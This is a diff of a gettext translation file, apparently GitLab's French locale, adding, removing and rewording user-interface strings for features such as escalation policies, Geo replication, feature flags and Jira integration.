@@ -12959,6 +13072,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13020,7 +13181,9 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13663,6 +13826,9 @@ msgstr "Indicateur de fonctionnalité"
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13687,9 +13853,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13717,9 +13880,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13738,9 +13898,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13783,9 +13940,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13801,7 +13955,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14052,6 +14206,15 @@ msgstr "Corrigé :"
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14157,6 +14320,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14175,6 +14341,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14202,6 +14371,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr "Divergence issue de"
@@ -14469,6 +14647,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14496,6 +14677,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14523,6 +14707,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14547,6 +14734,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14574,6 +14764,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14619,6 +14812,9 @@ msgstr "Jamais"
msgid "Geo|Next sync scheduled at"
msgstr "Prochaine synchro programmée à"
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14631,10 +14827,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr "Pas encore synchronisé"
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14799,6 +15001,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr "État inconnu"
@@ -14811,10 +15019,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr "Vérification en échec — %{error}"
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15060,9 +15271,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15159,16 +15367,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15201,9 +15412,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15258,6 +15466,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15336,7 +15547,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15450,6 +15661,9 @@ msgstr ""
msgid "Group info:"
msgstr "Informations du groupe :"
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15510,6 +15724,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15531,13 +15748,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15600,6 +15820,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15918,9 +16141,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr "Les groupes peuvent également être imbriqués en créant des %{subgroup_docs_link_start}sousâ€groupes%{subgroup_docs_link_end}."
-
msgid "Groups to synchronize"
msgstr ""
@@ -15957,22 +16177,31 @@ msgstr "Aucun groupe trouvé"
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr "Vous pouvez gérer les autorisations des membres de votre groupe et accéder à chacun de ses projets."
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Create new group"
+msgstr ""
+
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16044,7 +16273,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16059,6 +16288,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16071,6 +16303,18 @@ msgstr ""
msgid "Header message"
msgstr "Message d’enâ€tête"
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16187,9 +16431,6 @@ msgstr "Masquer la charge utile"
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] "Masquer la valeur"
@@ -16219,9 +16460,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr "Historique"
@@ -16306,9 +16544,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr "Identifiant"
@@ -16318,9 +16571,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr "Retour"
@@ -16474,6 +16724,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16720,6 +16973,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16753,6 +17009,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16765,9 +17024,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16780,6 +17048,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16906,6 +17177,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16945,6 +17219,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16960,10 +17237,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16999,9 +17276,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17077,6 +17363,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17116,6 +17405,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17155,6 +17447,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17170,9 +17465,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17302,7 +17594,7 @@ msgstr "Indique si l’exécuteur peut choisir des tâches sans étiquettes (tag
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17499,10 +17791,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17580,7 +17872,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17766,7 +18058,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18000,6 +18292,9 @@ msgstr ""
msgid "Issue Boards"
msgstr "Tableaux des tickets"
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18069,12 +18364,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18102,6 +18391,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18147,6 +18457,9 @@ msgstr "Les tickets peuvent être des bogues, des tâches ou des sujets de discu
msgid "Issues closed"
msgstr "Tickets clos"
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18249,6 +18562,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18258,6 +18574,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18291,15 +18613,15 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
+msgid "I’m joining my team who’s already on GitLab"
+msgstr ""
+
msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
msgstr "URL Jaeger"
-msgid "Jaeger tracing"
-msgstr "Traçage de Jaeger"
-
msgid "Jan"
msgstr "janv."
@@ -18321,7 +18643,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18396,6 +18718,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18411,10 +18736,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18501,7 +18826,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18549,6 +18874,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr "Tâches"
@@ -18564,6 +18901,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18657,6 +18997,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18690,6 +19033,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18717,9 +19063,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18756,6 +19123,9 @@ msgstr "L’intégration de la grappe de serveurs Kubernetes a été supprimée
msgid "Kubernetes cluster was successfully updated."
msgstr "La grappe de serveurs Kubernetes a été mise à jour avec succès."
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18998,18 +19368,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19181,6 +19545,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19217,6 +19587,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr "Licence"
@@ -19705,8 +20078,8 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
-msgstr "Gérer les fonctionnalités de l’EDI Web"
+msgid "Manage Web IDE features."
+msgstr ""
msgid "Manage access"
msgstr "Gestion des accès"
@@ -19963,6 +20336,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20050,6 +20426,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20245,6 +20624,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20296,9 +20678,6 @@ msgstr ""
msgid "Merge request"
msgstr "Demande de fusion"
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20587,10 +20966,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20691,6 +21070,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr "Pour regrouper des métriques similaires"
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20865,10 +21247,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21125,6 +21507,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21257,6 +21645,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21284,6 +21675,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr "Nommez la nouvelle étiquette"
@@ -21451,9 +21845,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21553,9 +21944,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21903,7 +22291,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
